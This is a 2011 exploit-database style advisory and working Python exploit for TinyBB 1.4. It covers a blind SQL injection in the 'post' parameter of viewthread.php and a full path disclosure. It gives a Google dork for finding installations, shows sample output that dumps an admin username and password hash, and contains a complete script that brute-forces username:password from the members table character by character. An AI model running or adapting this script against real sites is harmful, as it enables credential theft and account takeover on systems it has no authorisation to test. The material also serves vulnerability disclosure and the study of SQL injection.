TinyBB 1.4 - Blind SQL Injection / Full Path Disclosure

# Exploit Title    : TinyBB 1.4 Sql Injection + Path Disclosure
# Google Dork  : "Proudly powered by TinyBB"
# Date              : 7 April 2011
# Author           : swami
# Contact         : flavio[dot]baldassi[at]gmail[dot]com
# Version          : 1.4
# Tested on       : Centos 5.5 with magic_quotes_gpc off
# Thanks to      : ptrace.net
#
#  From tinybb.net
#  -------------------------
#  "TinyBB is a free, simple bulletin board script. TinyBB's community is slowly growing and the number
#   of installs is slowly rising. TinyBB's software is 100% free and so are our official add-ons."
# 
#  Sql Injection [Fixed]
#  -----------------------
#  The  vulnerability exist in /inc/viewthread.php file at line 3. As you can see below the $_GET['post'] parameter isn't
#  properly sanitized.
#
#   $check_thread = mysql_query("SELECT * FROM `tinybb_threads` WHERE
#   `thread_key` = '$_GET[post]'") or die(mysql_error());   
#
#  Path Disclosure [Not fixed]
#  --------------------
#   A remote user can access these files to cause the system to display an error message that indicates the installation  #   path.
#       1-  http://host/inc/login.php
#       2-  http://host/inc/categories.php
#
#swami@swami-desktop:~/Documents/py$ ./tinybb.py
#
# [+] TinyBB thread url: http://192.168.2.6/tinybb/index.php?page=thread&post=444709648
# [?] Set up a Proxy ? [y/n] y
# [+] Proxy ip:port: 127.0.0.1:3128
# [+] Proxy is found to be working
# [+] Testing url: http://192.168.2.6/tinybb/index.php?page=thread&post=444709648
# [+] Url vulnerable: YES
# [+] Users into the db: 1
# [+] Executing blind sql injection, this will take time ...
#
# [+] UserId 76: admin:64d7103eef2b14bbb2d0b57c38cc3fbee29ff72a
#
# [+] Done
#

#!/usr/bin/python
#
import sys
import urllib.request

def banner():
	
   print('+	  			     +')
   print('|   ------------------------------   |')
   print('|   TinyBB 1.4 Blind Sql INjector    |')
   print('|   ------------------------------   |')
   print('+ by swami			     +\n')

def setProxy(ip):
	
   try:
   	proxy = urllib.request.ProxyHandler( {'http':'http://'+ str(ip) } )
   	opener = urllib.request.build_opener( proxy )
   	opener.open('http://www.google.com')
   	print('[+] Proxy is found to be working')

   except:
   	print('[-] Proxy doesn\'t work')
   	print('[-] Exit ...')
   	sys.exit(1)

   return opener

def testUrl(url, handle):

   print('[+] Testing url: '+ url)

   try:
   	req = handle.open( url )
   	req = req.read().decode('utf-8')

   except:
   	print('[-] '+ url +' is not a valid url')
   	print('[-] Exit ...')
   	sys.exit(1)

   return req

def urlVulnerable(url, clean, handle):

   sys.stdout.write('[+] Url vulnerable: ')

   try:
   	req = handle.open( url + "'" )
   	req = req.read().decode('utf-8')

   except:
        sys.exit('\n[-] Url typing error')


   if len(clean) > len(req):
   	sys.stdout.write('YES\n')
   	sys.stdout.flush()

   else:
   	sys.stdout.write('NO\n[-] Exit...\n')
   	sys.stdout.flush()
   	sys.exit(1)
	
def getTrueValue(url, handle):

   trueValue = handle.open( url + "'%20and%20'1'='1" )
   return len( trueValue.read().decode('utf-8') )


def getNUsers(url, trueValue, handle):

   users = list()

   sys.stdout.write('[+] Users into the db: ')
   sys.stdout.flush()

   for userid in range(1,100):

   	inject = url + "'%20and%20(SELECT%201%20FROM%20members%20WHERE%20id="+ str(userid) +")='1"

   	try:
   		req = handle.open( inject )
   		req = req.read().decode('utf-8')

   	except:
   		print('[-] Somenthing went wrong')
   		sys.exit(1)

   	if len(req) == trueValue:
   		users.append(userid)

   sys.stdout.write( str(len(users)) )

   return users


def doBlind(url, handle, nUserId, trueValue):

	print('\n[+] Executing blind sql injection, this will take time ...\n')

	for x in range(len(nUserId)):

		position = 1 # Line position
		userid = nUserId[x]
		char = 33 # Start from !

		sys.stdout.write('[+] UserId '+ str(userid) +': ')
		sys.stdout.flush()

		# Execute Blind Sql INjection
		while True:

			inject = url
			inject += "'%20and%20ascii(substring((SELECT%20concat(username,0x3a,password)%20FROM%20"
			inject += "members%20WHERE%20id="+ str(userid) +"),"+ str(position) +",1))>"+ str(char) +"%20--'"

			result = handle.open( inject )
			result = result.read().decode('utf-8')

			# If we don't get errors
			if len(result) == trueValue:
				char += 1

			else:

				if position > 43 and chr(char) == "!":
					break

				else:
					sys.stdout.write( chr(char) )
					sys.stdout.flush()
					position += 1
					char = 33 #Reset char

			if char == 127 :
				print('[-] Ascii table is over. Exit... :/')
				sys.exit(1)

		print()


if __name__ == "__main__":

	banner()
	url = input('[+] TinyBB thread url: ')

	if input('[?] Set up a Proxy ? [y/n] ') == 'y' :
		handle = setProxy( input('[+] Proxy ip:port: ') )

	else:
		handle = urllib.request.build_opener()

	clean = testUrl(url, handle)
	urlVulnerable(url, clean, handle)
	trueValue = getTrueValue(url, handle)
	userId = getNUsers(url, trueValue, handle)
	doBlind(url, handle, userId, trueValue)

	print('\n[+] Done ')